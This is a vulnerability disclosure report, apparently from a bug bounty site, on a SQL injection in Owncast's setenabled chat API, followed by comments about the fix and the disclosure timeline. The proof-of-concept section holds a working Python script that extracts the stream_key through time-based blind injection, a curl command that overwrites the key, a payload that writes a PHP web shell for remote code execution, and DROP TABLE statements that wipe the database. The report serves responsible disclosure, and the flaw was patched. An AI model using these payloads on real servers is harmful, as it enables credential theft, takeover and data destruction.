Moderators can perform Time based SQL injection attack. in owncast/owncast
Reported on
Oct 12th 2022
The API endpoint /api/chat/users/setenabled (POST) is vulnerable to a Time based blind SQL injection attack via body parameter ‘userId’. It allows a Moderator to read, modify or delete the entries in the sqlite database. Moderator can leak the stream_key to access admin dashboard.
Proof of concept
Scenario 1 - Exfiltrate stream_key
Access token of a moderator can be used here.
# tested on Python 3.6.9
# Ajmal Moochingal
# https://moochi.tech
import requests, json
from requests.exceptions import ReadTimeout
TIMEOUT = 4 # seconds
ACCESS_TOKEN =
HOST =
def calldb(query):
ENDPOINT = "/api/chat/users/setenabled"
url = HOST + ENDPOINT +"?accessToken=" + ACCESS_TOKEN
headers = {
"Connection" : "close",
"Content-type" : "application/json",
}
body = {
"userId" : "8CTMIMI4R'; "+query+"--",
"enabled" : False
}
try:
r = requests.post(url, data=json.dumps(body), headers=headers, timeout=TIMEOUT)
return False # failed hit
except ReadTimeout: # successful hit
return True
# warming up
test_query = "select value from datastore where key>0 AND 1=RANDOMBLOB(30000000/2)"
if calldb(test_query):
print('sqli is working.')
charset = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']
leak = ''
pos = 9 # first 8 characters is blob metadata
_pos = pos-1
while True:
if _pos == pos:
break
print("trying to leak character at position : ", pos - 8)
_pos += 1
for char in charset:
delay_query = "select case substr((select hex(value) from datastore where key = 'stream_key'),{pos},1) when '{char}' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1200000000/2)))) else 1 end".format(pos = pos, char = char )
if calldb(delay_query):
leak += char
print('leak: ', leak)
pos += 1
break
print("stream_key is :", bytes.fromhex(leak).decode('ascii'))
It might be required to run the code multiple times for perfect result, while tweaking the TIMEOUT.
Scenario 2 - Modifying stream_key
Before running the following curl command :
- Change the hostname to the correct host value, point to the right port.
- Change value of accessToken to the token value that corresponds to the current moderator user. (can be obtained from browser session storage)
curl -i -s -k -X $'POST' \
-H $'Host: localhost:8080' \
-H $'Content-Length: 122' \
-H $'Content-Type: application/json' \
-H $'Accept: */*' \
-H $'Accept-Encoding: gzip, deflate' \
-H $'Accept-Language: en-US,en;q=0.9' \
-H $'Connection: close' \
--data-binary $'{\"userId\":\"8CTMIMI4R\'; UPDATE datastore set value = x\'0A0C00077065616E757473\' WHERE key = \'stream_key\'--\",\"enabled\":false}' \
$'http://localhost:8080/api/chat/users/setenabled?accessToken=0gs8sH3xjVXFlenDAG8nSRshsEdoKZNAKaJQ8Yrter0%3D'
The above command demonstrates a Moderator performing the attack to change stream_key to 'peanuts', since stream_key
is cached in memory, it will require the application to restart to reflect the new credentials.
Alternate way to verify :
Run the following query in the sqlite database store to print stream_key
.
select hex(value) from datastore WHERE key = 'stream_key';
It should output the following value : 0A0C00077065616E757473
.
Scenario 3 - Remote Code Execution
The vulnerability could be exploited to write arbitrary files on the server using by crafting the following SQL query:
ATTACH DATABASE '/webroot/abcd.php' AS X; CREATE TABLE X.pwn (pwndata text); INSERT INTO X.pwn (pwndata) VALUES ("<?php system($_GET['cmd']); ?>")--
In an environment where PHP is installed, this will allow an attacker to perform Remote code execution by sending command via http://host.com/abcd.php?cmd=
Scenario 4 - Denial of Service
Moderator can craft the following SQL query to perform a Denial-of-Service attack. Caution: running the following query would wipe out respective tables in the database.
DROP table users; DROP table user_access_tokens; DROP table ip_bans; DROP table datastore;
Impact
- Moderator could read, modify or delete all entries in the sqlite database using the vulnerability, this include stream_key, config and session tokens of other users.
- Moderator could write arbitrary files in web root to escalate to perform Remote code execution.
- With already 490+ forks on the repo now, it's likely that other forks are also impacted.
Likelihood: High. Any user with moderator privileges on the platform can perform the attack.
Occurrences
SECURITY.md
exists
a year ago
Got in touch with the @maintainer. After discussing with the maintainer, submitted this PR for fix : https://github.com/owncast/owncast/pull/2257 @maintainer, could you please verify the security report, before merging the fix ?
Thanks @gabek. Can you mark that you've accepted the patch, and the fix is done. 'Status' still shows 'Awaiting Fix'
The PR that got merged, for reference - https://github.com/owncast/owncast/pull/2257
Thanks again @gabek. Since the issue is fixed now, requesting to make the report public. @admin
It's the maintainer that has to make the report public, I'm sure they'll be back to do this soon :)
I read somewhere that it should be fixed and released, and it is not currently released. I don't yet have a schedule for the next release of Owncast, as a new one was not planned at this time. There's a lot of work going on that needed to be finished before a release went out. It's possible a small release could be scheduled between now and then, but that isn't something I've been able to work out.
@gabek I understand that it would be difficult to maintain an open source project. Most of the maintainers would be doing it during their spare time outside of their real job.
But at the same time people need to be informed also - that this vulnerability exists in their current running owncast instance - rather than giving a false sense of security. This would be the major reason behind publishing an advisory.
Currently, the 'moderator' feature is completely broken from a security perspective - 'moderators' could compromise the entire database, gain admin access, as well as perform code execution in certain cases as detailed in the report.
Owncast has 500+ forks currently & it's highly likely that other forks are also vulnerable.
So, IMO It make sense to have an intermediate minor release patching the security issue and release the advisory.
Thanks -Ajmal
37 days since initial disclosure, 23 days since the fix, 16 days since no further update from the maintainer @admin humble request to make the report public.
-Ajmal
Sorry M but we can't violate responsible disclosure... I'm sure the maintainer will publish a mini-release that patches your vulnerability in the near future... Give them a month please :)
Sorry for the slowness. I'm preparing a small v0.0.13 release that I aim to release near the end of the week.
Owncast v0.0.13 with this fix has been released. https://owncast.online/releases/owncast-0.0.13/
Thank you for your efforts, Gabe.
The report is not yet public. It can be made public on huntr by maintainer.
Plus, the advisory could be tracked and listed under the 'Security' section in the owncast github repo.
Great work everyone 🎉 I published manually because the publication stage no longer exists. Maintainers now publish their reports from the fix stage.
I have a slightly unrelated question. I've had one CVE reported and fixed previously through Github. Since then it's always showed one open security vulnerability on my repository. I've tried everything to mark it as fixed, but it always shows one open issue. I'm afraid now it's going to show two unfixed, opened, issues forever. Is this accurate? How do I tell Github that these issues are resolved and are no longer open?
Hey Gabe! I don't know if Github makes GH advisories out of huntr vulnerabilities but regarding the existing one (if you're referring to this one), because there is a patched version it doesn't strike me as unresolved. Is it because there is a (1) notification on the UI?
Yup! That's what I was curious about, and I was wondering if it was going to move to "2" open issues now. I understand this isn't really your problem, but maybe you'd have an answer anyway :)
I don't think it will move to 2... A maintainer's problems are our problems 😅